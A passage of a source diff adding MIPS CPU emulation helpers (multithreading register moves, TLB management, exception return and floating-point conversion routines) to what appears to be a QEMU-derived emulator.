arg1) +{ + env->CP0_DataHi = arg1; /* XXX */ +} + +/* MIPS MT functions */ +target_ulong helper_mftgpr(CPUMIPSState *env, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.gpr[sel]; + else + return other->tcs[other_tc].gpr[sel]; +} + +target_ulong helper_mftlo(CPUMIPSState *env, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.LO[sel]; + else + return other->tcs[other_tc].LO[sel]; +} + +target_ulong helper_mfthi(CPUMIPSState *env, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.HI[sel]; + else + return other->tcs[other_tc].HI[sel]; +} + +target_ulong helper_mftacx(CPUMIPSState *env, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.ACX[sel]; + else + return other->tcs[other_tc].ACX[sel]; +} + +target_ulong helper_mftdsp(CPUMIPSState *env) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + return other->active_tc.DSPControl; + else + return other->tcs[other_tc].DSPControl; +} + +void helper_mttgpr(CPUMIPSState *env, target_ulong arg1, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.gpr[sel] = arg1; + else + other->tcs[other_tc].gpr[sel] = arg1; +} + +void helper_mttlo(CPUMIPSState *env, target_ulong arg1, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.LO[sel] = arg1; + else + other->tcs[other_tc].LO[sel] = arg1; +} + +void helper_mtthi(CPUMIPSState *env, target_ulong arg1, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.HI[sel] = arg1; + else + other->tcs[other_tc].HI[sel] = arg1; +} + +void helper_mttacx(CPUMIPSState *env, target_ulong arg1, uint32_t sel) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.ACX[sel] = arg1; + else + other->tcs[other_tc].ACX[sel] = arg1; +} + +void helper_mttdsp(CPUMIPSState *env, target_ulong arg1) +{ + int other_tc = env->CP0_VPEControl & (0xff << CP0VPECo_TargTC); + CPUMIPSState *other = mips_cpu_map_tc(env, &other_tc); + + if (other_tc == other->current_tc) + other->active_tc.DSPControl = arg1; + else + other->tcs[other_tc].DSPControl = arg1; +} + +/* MIPS MT functions */ +target_ulong helper_dmt(void) +{ + // TODO + return 0; +} + +target_ulong helper_emt(void) +{ + // TODO + return 0; +} + +target_ulong helper_dvpe(CPUMIPSState *env) +{ + //struct uc_struct *uc = env->uc; + //CPUState *other_cs = uc->cpu; + target_ulong prev = env->mvp->CP0_MVPControl; + + // TODO: #642 SMP groups + /* + CPU_FOREACH(other_cs) { + MIPSCPU *other_cpu = MIPS_CPU(uc, other_cs); + // Turn off all VPEs except the one executing the dvpe. + if (&other_cpu->env != env) { + other_cpu->env.mvp->CP0_MVPControl &= ~(1 << CP0MVPCo_EVP); + mips_vpe_sleep(other_cpu); + } + } + */ + return prev; +} + +target_ulong helper_evpe(CPUMIPSState *env) +{ + //struct uc_struct *uc = env->uc; + //CPUState *other_cs = uc->cpu; + target_ulong prev = env->mvp->CP0_MVPControl; + + // TODO: #642 SMP groups + /* + CPU_FOREACH(other_cs) { + MIPSCPU *other_cpu = MIPS_CPU(uc, other_cs); + + if (&other_cpu->env != env + // If the VPE is WFI, don't disturb its sleep. + && !mips_vpe_is_wfi(other_cpu)) { + // Enable the VPE. + other_cpu->env.mvp->CP0_MVPControl |= (1 << CP0MVPCo_EVP); + mips_vpe_wake(other_cpu); // And wake it up. + } + } + */ + return prev; +} +#endif /* !CONFIG_USER_ONLY */ + +void helper_fork(target_ulong arg1, target_ulong arg2) +{ + // arg1 = rt, arg2 = rs + // TODO: store to TC register +} + +target_ulong helper_yield(CPUMIPSState *env, target_ulong arg) +{ + target_long arg1 = arg; + + if (arg1 < 0) { + /* No scheduling policy implemented. */ + if (arg1 != -2) { + if (env->CP0_VPEControl & (1 << CP0VPECo_YSI) && + env->active_tc.CP0_TCStatus & (1 << CP0TCSt_DT)) { + env->CP0_VPEControl &= ~(0x7 << CP0VPECo_EXCPT); + env->CP0_VPEControl |= 4 << CP0VPECo_EXCPT; + helper_raise_exception(env, EXCP_THREAD); + } + } + } else if (arg1 == 0) { + if (0 /* TODO: TC underflow */) { + env->CP0_VPEControl &= ~(0x7 << CP0VPECo_EXCPT); + helper_raise_exception(env, EXCP_THREAD); + } else { + // TODO: Deallocate TC + } + } else if (arg1 > 0) { + /* Yield qualifier inputs not implemented. */ + env->CP0_VPEControl &= ~(0x7 << CP0VPECo_EXCPT); + env->CP0_VPEControl |= 2 << CP0VPECo_EXCPT; + helper_raise_exception(env, EXCP_THREAD); + } + return env->CP0_YQMask; +} + +#ifndef CONFIG_USER_ONLY +/* TLB management */ +static void cpu_mips_tlb_flush (CPUMIPSState *env, int flush_global) +{ + MIPSCPU *cpu = mips_env_get_cpu(env); + + /* Flush qemu's TLB and discard all shadowed entries. */ + tlb_flush(CPU(cpu), flush_global); + env->tlb->tlb_in_use = env->tlb->nb_tlb; +} + +static void r4k_mips_tlb_flush_extra (CPUMIPSState *env, int first) +{ + /* Discard entries from env->tlb[first] onwards. */ + while (env->tlb->tlb_in_use > first) { + r4k_invalidate_tlb(env, --env->tlb->tlb_in_use, 0); + } +} + +static void r4k_fill_tlb(CPUMIPSState *env, int idx) +{ + r4k_tlb_t *tlb; + + /* XXX: detect conflicting TLBs and raise a MCHECK exception when needed */ + tlb = &env->tlb->mmu.r4k.tlb[idx]; + if (env->CP0_EntryHi & (1 << CP0EnHi_EHINV)) { + tlb->EHINV = 1; + return; + } + tlb->EHINV = 0; + tlb->VPN = env->CP0_EntryHi & (((unsigned int)TARGET_PAGE_MASK) << 1); +#if defined(TARGET_MIPS64) + tlb->VPN &= env->SEGMask; +#endif + tlb->ASID = env->CP0_EntryHi & 0xFF; + tlb->PageMask = env->CP0_PageMask; + tlb->G = env->CP0_EntryLo0 & env->CP0_EntryLo1 & 1; + tlb->V0 = (env->CP0_EntryLo0 & 2) != 0; + tlb->D0 = (env->CP0_EntryLo0 & 4) != 0; + tlb->C0 = (env->CP0_EntryLo0 >> 3) & 0x7; + tlb->XI0 = (env->CP0_EntryLo0 >> CP0EnLo_XI) & 1; + tlb->RI0 = (env->CP0_EntryLo0 >> CP0EnLo_RI) & 1; + tlb->PFN[0] = (env->CP0_EntryLo0 >> 6) << 12; + tlb->V1 = (env->CP0_EntryLo1 & 2) != 0; + tlb->D1 = (env->CP0_EntryLo1 & 4) != 0; + tlb->C1 = (env->CP0_EntryLo1 >> 3) & 0x7; + tlb->XI1 = (env->CP0_EntryLo1 >> CP0EnLo_XI) & 1; + tlb->RI1 = (env->CP0_EntryLo1 >> CP0EnLo_RI) & 1; + tlb->PFN[1] = (env->CP0_EntryLo1 >> 6) << 12; +} + +void r4k_helper_tlbinv(CPUMIPSState *env) +{ + int idx; + r4k_tlb_t *tlb; + uint8_t ASID = env->CP0_EntryHi & 0xFF; + + for (idx = 0; idx < env->tlb->nb_tlb; idx++) { + tlb = &env->tlb->mmu.r4k.tlb[idx]; + if (!tlb->G && tlb->ASID == ASID) { + tlb->EHINV = 1; + } + } + cpu_mips_tlb_flush(env, 1); +} + +void r4k_helper_tlbinvf(CPUMIPSState *env) +{ + int idx; + + for (idx = 0; idx < env->tlb->nb_tlb; idx++) { + env->tlb->mmu.r4k.tlb[idx].EHINV = 1; + } + cpu_mips_tlb_flush(env, 1); +} + +void r4k_helper_tlbwi(CPUMIPSState *env) +{ + r4k_tlb_t *tlb; + int idx; + target_ulong VPN; + uint8_t ASID; + bool G, V0, D0, V1, D1; + + idx = (env->CP0_Index & ~0x80000000) % env->tlb->nb_tlb; + tlb = &env->tlb->mmu.r4k.tlb[idx]; + VPN = env->CP0_EntryHi & (((unsigned int)TARGET_PAGE_MASK) << 1); +#if defined(TARGET_MIPS64) + VPN &= env->SEGMask; +#endif + ASID = env->CP0_EntryHi & 0xff; + G = env->CP0_EntryLo0 & env->CP0_EntryLo1 & 1; + V0 = (env->CP0_EntryLo0 & 2) != 0; + D0 = (env->CP0_EntryLo0 & 4) != 0; + V1 = (env->CP0_EntryLo1 & 2) != 0; + D1 = (env->CP0_EntryLo1 & 4) != 0; + + /* Discard cached TLB entries, unless tlbwi is just upgrading access + permissions on the current entry. */ + if (tlb->VPN != VPN || tlb->ASID != ASID || tlb->G != G || + (tlb->V0 && !V0) || (tlb->D0 && !D0) || + (tlb->V1 && !V1) || (tlb->D1 && !D1)) { + r4k_mips_tlb_flush_extra(env, env->tlb->nb_tlb); + } + + r4k_invalidate_tlb(env, idx, 0); + r4k_fill_tlb(env, idx); +} + +void r4k_helper_tlbwr(CPUMIPSState *env) +{ + int r = cpu_mips_get_random(env); + + r4k_invalidate_tlb(env, r, 1); + r4k_fill_tlb(env, r); +} + +void r4k_helper_tlbp(CPUMIPSState *env) +{ + r4k_tlb_t *tlb; + target_ulong mask; + target_ulong tag; + target_ulong VPN; + uint8_t ASID; + int i; + + ASID = env->CP0_EntryHi & 0xFF; + for (i = 0; i < env->tlb->nb_tlb; i++) { + tlb = &env->tlb->mmu.r4k.tlb[i]; + /* 1k pages are not supported. */ + mask = tlb->PageMask | ~(((unsigned int)TARGET_PAGE_MASK) << 1); + tag = env->CP0_EntryHi & ~mask; + VPN = tlb->VPN & ~mask; +#if defined(TARGET_MIPS64) + tag &= env->SEGMask; +#endif + /* Check ASID, virtual page number & size */ + if ((tlb->G == 1 || tlb->ASID == ASID) && VPN == tag && !tlb->EHINV) { + /* TLB match */ + env->CP0_Index = i; + break; + } + } + if (i == env->tlb->nb_tlb) { + /* No match. Discard any shadow entries, if any of them match. */ + for (i = env->tlb->nb_tlb; i < env->tlb->tlb_in_use; i++) { + tlb = &env->tlb->mmu.r4k.tlb[i]; + /* 1k pages are not supported. */ + mask = tlb->PageMask | ~(((unsigned int)TARGET_PAGE_MASK) << 1); + tag = env->CP0_EntryHi & ~mask; + VPN = tlb->VPN & ~mask; +#if defined(TARGET_MIPS64) + tag &= env->SEGMask; +#endif + /* Check ASID, virtual page number & size */ + if ((tlb->G == 1 || tlb->ASID == ASID) && VPN == tag) { + r4k_mips_tlb_flush_extra (env, i); + break; + } + } + + env->CP0_Index |= 0x80000000; + } +} + +void r4k_helper_tlbr(CPUMIPSState *env) +{ + r4k_tlb_t *tlb; + uint8_t ASID; + int idx; + + ASID = env->CP0_EntryHi & 0xFF; + idx = (env->CP0_Index & ~0x80000000) % env->tlb->nb_tlb; + tlb = &env->tlb->mmu.r4k.tlb[idx]; + + /* If this will change the current ASID, flush qemu's TLB. */ + if (ASID != tlb->ASID) + cpu_mips_tlb_flush (env, 1); + + r4k_mips_tlb_flush_extra(env, env->tlb->nb_tlb); + + if (tlb->EHINV) { + env->CP0_EntryHi = 1 << CP0EnHi_EHINV; + env->CP0_PageMask = 0; + env->CP0_EntryLo0 = 0; + env->CP0_EntryLo1 = 0; + } else { + env->CP0_EntryHi = tlb->VPN | tlb->ASID; + env->CP0_PageMask = tlb->PageMask; + env->CP0_EntryLo0 = tlb->G | (tlb->V0 << 1) | (tlb->D0 << 2) | + ((target_ulong)tlb->RI0 << CP0EnLo_RI) | + ((target_ulong)tlb->XI0 << CP0EnLo_XI) | + (tlb->C0 << 3) | (tlb->PFN[0] >> 6); + env->CP0_EntryLo1 = tlb->G | (tlb->V1 << 1) | (tlb->D1 << 2) | + ((target_ulong)tlb->RI1 << CP0EnLo_RI) | + ((target_ulong)tlb->XI1 << CP0EnLo_XI) | + (tlb->C1 << 3) | (tlb->PFN[1] >> 6); + } +} + +void helper_tlbwi(CPUMIPSState *env) +{ + env->tlb->helper_tlbwi(env); +} + +void helper_tlbwr(CPUMIPSState *env) +{ + env->tlb->helper_tlbwr(env); +} + +void helper_tlbp(CPUMIPSState *env) +{ + env->tlb->helper_tlbp(env); +} + +void helper_tlbr(CPUMIPSState *env) +{ + env->tlb->helper_tlbr(env); +} + +void helper_tlbinv(CPUMIPSState *env) +{ + env->tlb->helper_tlbinv(env); +} + +void helper_tlbinvf(CPUMIPSState *env) +{ + env->tlb->helper_tlbinvf(env); +} + +/* Specials */ +target_ulong helper_di(CPUMIPSState *env) +{ + target_ulong t0 = env->CP0_Status; + + env->CP0_Status = t0 & ~(1 << CP0St_IE); + return t0; +} + +target_ulong helper_ei(CPUMIPSState *env) +{ + target_ulong t0 = env->CP0_Status; + + env->CP0_Status = t0 | (1 << CP0St_IE); + return t0; +} + +static void debug_pre_eret(CPUMIPSState *env) +{ + if (qemu_loglevel_mask(CPU_LOG_EXEC)) { + qemu_log("ERET: PC " TARGET_FMT_lx " EPC " TARGET_FMT_lx, + env->active_tc.PC, env->CP0_EPC); + if (env->CP0_Status & (1 << CP0St_ERL)) + qemu_log(" ErrorEPC " TARGET_FMT_lx, env->CP0_ErrorEPC); + if (env->hflags & MIPS_HFLAG_DM) + qemu_log(" DEPC " TARGET_FMT_lx, env->CP0_DEPC); + qemu_log("\n"); + } +} + +static void debug_post_eret(CPUMIPSState *env) +{ + MIPSCPU *cpu = mips_env_get_cpu(env); + + if (qemu_loglevel_mask(CPU_LOG_EXEC)) { + qemu_log(" => PC " TARGET_FMT_lx " EPC " TARGET_FMT_lx, + env->active_tc.PC, env->CP0_EPC); + if (env->CP0_Status & (1 << CP0St_ERL)) + qemu_log(" ErrorEPC " TARGET_FMT_lx, env->CP0_ErrorEPC); + if (env->hflags & MIPS_HFLAG_DM) + qemu_log(" DEPC " TARGET_FMT_lx, env->CP0_DEPC); + switch (env->hflags & MIPS_HFLAG_KSU) { + case MIPS_HFLAG_UM: qemu_log(", UM\n"); break; + case MIPS_HFLAG_SM: qemu_log(", SM\n"); break; + case MIPS_HFLAG_KM: qemu_log("\n"); break; + default: + cpu_abort(CPU(cpu), "Invalid MMU mode!\n"); + break; + } + } +} + +static void set_pc(CPUMIPSState *env, target_ulong error_pc) +{ + env->active_tc.PC = error_pc & ~(target_ulong)1; + if (error_pc & 1) { + env->hflags |= MIPS_HFLAG_M16; + } else { + env->hflags &= ~(MIPS_HFLAG_M16); + } +} + +void helper_eret(CPUMIPSState *env) +{ + debug_pre_eret(env); + if (env->CP0_Status & (1 << CP0St_ERL)) { + set_pc(env, env->CP0_ErrorEPC); + env->CP0_Status &= ~(1 << CP0St_ERL); + } else { + set_pc(env, env->CP0_EPC); + env->CP0_Status &= ~(1 << CP0St_EXL); + } + compute_hflags(env); + debug_post_eret(env); + env->lladdr = 1; +} + +void helper_deret(CPUMIPSState *env) +{ + debug_pre_eret(env); + set_pc(env, env->CP0_DEPC); + + env->hflags &= MIPS_HFLAG_DM; + compute_hflags(env); + debug_post_eret(env); + env->lladdr = 1; +} +#endif /* !CONFIG_USER_ONLY */ + +target_ulong helper_rdhwr_cpunum(CPUMIPSState *env) +{ + if ((env->hflags & MIPS_HFLAG_CP0) || + (env->CP0_HWREna & (1 << 0))) + return env->CP0_EBase & 0x3ff; + else + helper_raise_exception(env, EXCP_RI); + + return 0; +} + +target_ulong helper_rdhwr_synci_step(CPUMIPSState *env) +{ + if ((env->hflags & MIPS_HFLAG_CP0) || + (env->CP0_HWREna & (1 << 1))) + return env->SYNCI_Step; + else + helper_raise_exception(env, EXCP_RI); + + return 0; +} + +target_ulong helper_rdhwr_cc(CPUMIPSState *env) +{ + if ((env->hflags & MIPS_HFLAG_CP0) || + (env->CP0_HWREna & (1 << 2))) + return env->CP0_Count; + else + helper_raise_exception(env, EXCP_RI); + + return 0; +} + +target_ulong helper_rdhwr_ccres(CPUMIPSState *env) +{ + if ((env->hflags & MIPS_HFLAG_CP0) || + (env->CP0_HWREna & (1 << 3))) + return env->CCRes; + else + helper_raise_exception(env, EXCP_RI); + + return 0; +} + +void helper_pmon(CPUMIPSState *env, int function) +{ + function /= 2; + switch (function) { + case 2: /* TODO: char inbyte(int waitflag); */ + if (env->active_tc.gpr[4] == 0) + env->active_tc.gpr[2] = -1; + /* Fall through */ + case 11: /* TODO: char inbyte (void); */ + env->active_tc.gpr[2] = -1; + break; + case 3: + case 12: + printf("%c", (char)(env->active_tc.gpr[4] & 0xFF)); + break; + case 17: + break; + case 158: + { + unsigned char *fmt = (void *)(uintptr_t)env->active_tc.gpr[4]; + printf("%s", fmt); + } + break; + } +} + +void helper_wait(CPUMIPSState *env) +{ + CPUState *cs = CPU(mips_env_get_cpu(env)); + + cs->halted = 1; + cpu_reset_interrupt(cs, CPU_INTERRUPT_WAKE); + helper_raise_exception(env, EXCP_HLT); +} + +#if !defined(CONFIG_USER_ONLY) + +void mips_cpu_do_unaligned_access(CPUState *cs, vaddr addr, + int access_type, int is_user, + uintptr_t retaddr) +{ + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + int error_code = 0; + int excp; + + env->CP0_BadVAddr = addr; + + if (access_type == MMU_DATA_STORE) { + excp = EXCP_AdES; + } else { + excp = EXCP_AdEL; + if (access_type == MMU_INST_FETCH) { + error_code |= EXCP_INST_NOTAVAIL; + } + } + + do_raise_exception_err(env, excp, error_code, retaddr); +} + +void tlb_fill(CPUState *cs, target_ulong addr, int is_write, int mmu_idx, + uintptr_t retaddr) +{ + int ret; + + ret = mips_cpu_handle_mmu_fault(cs, addr, is_write, mmu_idx); + if (ret) { + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + + do_raise_exception_err(env, cs->exception_index, + env->error_code, retaddr); + } +} + +void mips_cpu_unassigned_access(CPUState *cs, hwaddr addr, + bool is_write, bool is_exec, int unused, + unsigned size) +{ + MIPSCPU *cpu = MIPS_CPU(cs->uc, cs); + CPUMIPSState *env = &cpu->env; + + /* + * Raising an exception with KVM enabled will crash because it won't be from + * the main execution loop so the longjmp won't have a matching setjmp. + * Until we can trigger a bus error exception through KVM lets just ignore + * the access. + */ + if (is_exec) { + helper_raise_exception(env, EXCP_IBE); + } else { + helper_raise_exception(env, EXCP_DBE); + } +} +#endif /* !CONFIG_USER_ONLY */ + +/* Complex FPU operations which may need stack space. */ + +#define FLOAT_TWO32 make_float32(1 << 30) +#define FLOAT_TWO64 make_float64(1ULL << 62) +#define FP_TO_INT32_OVERFLOW 0x7fffffff +#define FP_TO_INT64_OVERFLOW 0x7fffffffffffffffULL + +/* convert MIPS rounding mode in FCR31 to IEEE library */ +unsigned int ieee_rm[] = { + float_round_nearest_even, + float_round_to_zero, + float_round_up, + float_round_down +}; + +static inline void restore_rounding_mode(CPUMIPSState *env) +{ + set_float_rounding_mode(ieee_rm[env->active_fpu.fcr31 & 3], + &env->active_fpu.fp_status); +} + +static inline void restore_flush_mode(CPUMIPSState *env) +{ + set_flush_to_zero((env->active_fpu.fcr31 & (1 << 24)) != 0, + &env->active_fpu.fp_status); +} + +target_ulong helper_cfc1(CPUMIPSState *env, uint32_t reg) +{ + target_ulong arg1 = 0; + + switch (reg) { + case 0: + arg1 = (int32_t)env->active_fpu.fcr0; + break; + case 1: + /* UFR Support - Read Status FR */ + if (env->active_fpu.fcr0 & (1 << FCR0_UFRP)) { + if (env->CP0_Config5 & (1 << CP0C5_UFR)) { + arg1 = (int32_t) + ((env->CP0_Status & (1 << CP0St_FR)) >> CP0St_FR); + } else { + helper_raise_exception(env, EXCP_RI); + } + } + break; + case 25: + arg1 = ((env->active_fpu.fcr31 >> 24) & 0xfe) | ((env->active_fpu.fcr31 >> 23) & 0x1); + break; + case 26: + arg1 = env->active_fpu.fcr31 & 0x0003f07c; + break; + case 28: + arg1 = (env->active_fpu.fcr31 & 0x00000f83) | ((env->active_fpu.fcr31 >> 22) & 0x4); + break; + default: + arg1 = (int32_t)env->active_fpu.fcr31; + break; + } + + return arg1; +} + +void helper_ctc1(CPUMIPSState *env, target_ulong arg1, uint32_t fs, uint32_t rt) +{ + switch (fs) { + case 1: + /* UFR Alias - Reset Status FR */ + if (!((env->active_fpu.fcr0 & (1 << FCR0_UFRP)) && (rt == 0))) { + return; + } + if (env->CP0_Config5 & (1 << CP0C5_UFR)) { + env->CP0_Status &= ~(1 << CP0St_FR); + compute_hflags(env); + } else { + helper_raise_exception(env, EXCP_RI); + } + break; + case 4: + /* UNFR Alias - Set Status FR */ + if (!((env->active_fpu.fcr0 & (1 << FCR0_UFRP)) && (rt == 0))) { + return; + } + if (env->CP0_Config5 & (1 << CP0C5_UFR)) { + env->CP0_Status |= (1 << CP0St_FR); + compute_hflags(env); + } else { + helper_raise_exception(env, EXCP_RI); + } + break; + case 25: + if ((env->insn_flags & ISA_MIPS32R6) || (arg1 & 0xffffff00)) { + return; + } + env->active_fpu.fcr31 = (env->active_fpu.fcr31 & 0x017fffff) | ((arg1 & 0xfe) << 24) | + ((arg1 & 0x1) << 23); + break; + case 26: + if (arg1 & 0x007c0000) + return; + env->active_fpu.fcr31 = (env->active_fpu.fcr31 & 0xfffc0f83) | (arg1 & 0x0003f07c); + break; + case 28: + if (arg1 & 0x007c0000) + return; + env->active_fpu.fcr31 = (env->active_fpu.fcr31 & 0xfefff07c) | (arg1 & 0x00000f83) | + ((arg1 & 0x4) << 22); + break; + case 31: + if (env->insn_flags & ISA_MIPS32R6) { + uint32_t mask = 0xfefc0000; + env->active_fpu.fcr31 = (arg1 & ~mask) | + (env->active_fpu.fcr31 & mask); + } else if (!(arg1 & 0x007c0000)) { + env->active_fpu.fcr31 = arg1; + } + break; + default: + return; + } + /* set rounding mode */ + restore_rounding_mode(env); + /* set flush-to-zero mode */ + restore_flush_mode(env); + set_float_exception_flags(0, &env->active_fpu.fp_status); + if ((GET_FP_ENABLE(env->active_fpu.fcr31) | 0x20) & GET_FP_CAUSE(env->active_fpu.fcr31)) + do_raise_exception(env, EXCP_FPE, GETPC()); +} + +int ieee_ex_to_mips(int xcpt) +{ + int ret = 0; + if (xcpt) { + if (xcpt & float_flag_invalid) { + ret |= FP_INVALID; + } + if (xcpt & float_flag_overflow) { + ret |= FP_OVERFLOW; + } + if (xcpt & float_flag_underflow) { + ret |= FP_UNDERFLOW; + } + if (xcpt & float_flag_divbyzero) { + ret |= FP_DIV0; + } + if (xcpt & float_flag_inexact) { + ret |= FP_INEXACT; + } + } + return ret; +} + +static inline void update_fcr31(CPUMIPSState *env, uintptr_t pc) +{ + int tmp = ieee_ex_to_mips(get_float_exception_flags(&env->active_fpu.fp_status)); + + SET_FP_CAUSE(env->active_fpu.fcr31, tmp); + + if (tmp) { + set_float_exception_flags(0, &env->active_fpu.fp_status); + + if (GET_FP_ENABLE(env->active_fpu.fcr31) & tmp) { + do_raise_exception(env, EXCP_FPE, pc); + } else { + UPDATE_FP_FLAGS(env->active_fpu.fcr31, tmp); + } + } +} + +/* Float support. + Single precition routines have a "s" suffix, double precision a + "d" suffix, 32bit integer "w", 64bit integer "l", paired single "ps", + paired single lower "pl", paired single upper "pu". */ + +/* unary operations, modifying fp status */ +uint64_t helper_float_sqrt_d(CPUMIPSState *env, uint64_t fdt0) +{ + fdt0 = float64_sqrt(fdt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt0; +} + +uint32_t helper_float_sqrt_s(CPUMIPSState *env, uint32_t fst0) +{ + fst0 = float32_sqrt(fst0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst0; +} + +uint64_t helper_float_cvtd_s(CPUMIPSState *env, uint32_t fst0) +{ + uint64_t fdt2; + + fdt2 = float32_to_float64(fst0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint64_t helper_float_cvtd_w(CPUMIPSState *env, uint32_t wt0) +{ + uint64_t fdt2; + + fdt2 = int32_to_float64(wt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint64_t helper_float_cvtd_l(CPUMIPSState *env, uint64_t dt0) +{ + uint64_t fdt2; + + fdt2 = int64_to_float64(dt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fdt2; +} + +uint64_t helper_float_cvtl_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t dt2; + + dt2 = float64_to_int64(fdt0, &env->active_fpu.fp_status); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint64_t helper_float_cvtl_s(CPUMIPSState *env, uint32_t fst0) +{ + uint64_t dt2; + + dt2 = float32_to_int64(fst0, &env->active_fpu.fp_status); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint64_t helper_float_cvtps_pw(CPUMIPSState *env, uint64_t dt0) +{ + uint32_t fst2; + uint32_t fsth2; + + fst2 = int32_to_float32(dt0 & 0XFFFFFFFF, &env->active_fpu.fp_status); + fsth2 = int32_to_float32(dt0 >> 32, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return ((uint64_t)fsth2 << 32) | fst2; +} + +uint64_t helper_float_cvtpw_ps(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t wt2; + uint32_t wth2; + int excp, excph; + + wt2 = float32_to_int32(fdt0 & 0XFFFFFFFF, &env->active_fpu.fp_status); + excp = get_float_exception_flags(&env->active_fpu.fp_status); + if (excp & (float_flag_overflow | float_flag_invalid)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + + set_float_exception_flags(0, &env->active_fpu.fp_status); + wth2 = float32_to_int32(fdt0 >> 32, &env->active_fpu.fp_status); + excph = get_float_exception_flags(&env->active_fpu.fp_status); + if (excph & (float_flag_overflow | float_flag_invalid)) { + wth2 = FP_TO_INT32_OVERFLOW; + } + + set_float_exception_flags(excp | excph, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + + return ((uint64_t)wth2 << 32) | wt2; +} + +uint32_t helper_float_cvts_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t fst2; + + fst2 = float64_to_float32(fdt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst2; +} + +uint32_t helper_float_cvts_w(CPUMIPSState *env, uint32_t wt0) +{ + uint32_t fst2; + + fst2 = int32_to_float32(wt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst2; +} + +uint32_t helper_float_cvts_l(CPUMIPSState *env, uint64_t dt0) +{ + uint32_t fst2; + + fst2 = int64_to_float32(dt0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + return fst2; +} + +uint32_t helper_float_cvts_pl(CPUMIPSState *env, uint32_t wt0) +{ + uint32_t wt2; + + wt2 = wt0; + update_fcr31(env, GETPC()); + return wt2; +} + +uint32_t helper_float_cvts_pu(CPUMIPSState *env, uint32_t wth0) +{ + uint32_t wt2; + + wt2 = wth0; + update_fcr31(env, GETPC()); + return wt2; +} + +uint32_t helper_float_cvtw_s(CPUMIPSState *env, uint32_t fst0) +{ + uint32_t wt2; + + wt2 = float32_to_int32(fst0, &env->active_fpu.fp_status); + update_fcr31(env, GETPC()); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + return wt2; +} + +uint32_t helper_float_cvtw_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t wt2; + + wt2 = float64_to_int32(fdt0, &env->active_fpu.fp_status); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + wt2 = FP_TO_INT32_OVERFLOW; + } + update_fcr31(env, GETPC()); + return wt2; +} + +uint64_t helper_float_roundl_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint64_t dt2; + + set_float_rounding_mode(float_round_nearest_even, &env->active_fpu.fp_status); + dt2 = float64_to_int64(fdt0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint64_t helper_float_roundl_s(CPUMIPSState *env, uint32_t fst0) +{ + uint64_t dt2; + + set_float_rounding_mode(float_round_nearest_even, &env->active_fpu.fp_status); + dt2 = float32_to_int64(fst0, &env->active_fpu.fp_status); + restore_rounding_mode(env); + if (get_float_exception_flags(&env->active_fpu.fp_status) + & (float_flag_invalid | float_flag_overflow)) { + dt2 = FP_TO_INT64_OVERFLOW; + } + update_fcr31(env, GETPC()); + return dt2; +} + +uint32_t helper_float_roundw_d(CPUMIPSState *env, uint64_t fdt0) +{ + uint32_t 